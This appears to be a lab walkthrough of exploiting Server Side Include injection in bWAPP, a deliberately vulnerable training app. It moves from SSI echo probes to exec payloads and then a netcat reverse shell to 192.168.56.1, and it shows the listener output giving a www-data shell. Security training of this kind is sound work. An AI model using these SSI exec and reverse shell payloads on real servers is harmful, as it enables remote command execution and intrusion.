bWAPP Server Side Includes Exploitation

We first start off with some information grabbing with the SSI. We will see if we get any results back and confirm it is indeed vulnerible to SSI's. <!--#echo var="DOCUMENT_URI" -->

Next we will try and echo the DOCUMENT_NAME with the following string: <!--#echo var="DOCUMENT_NAME" -->

We can- execute commands through SSI's all we have to do is specify a 'cmd' we would like to run and wrap it in the respective tags. <!--#exec cmd="ls" -->

As you can see we got a successful listing of the files in the cwd. Lets see what our working directory is.

<!--#exec cmd="pwd" -->

it seems we are in /var/www/bWAPP so our next -move i-s --to see if we can get a reverse connect from our SSI.

<!--#exec cmd="nc -e /bin/sh 192.168.56.1 8088" -->

As you can see we got a successful connect back from our remote host.

sam@ubuntu:~$ nc -nvlp 8088
Listening on [0.0.0.0] (family 0, port 8088)
Connection from 192.168.56.101 36422 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bee-box:/var/www/bWAPP$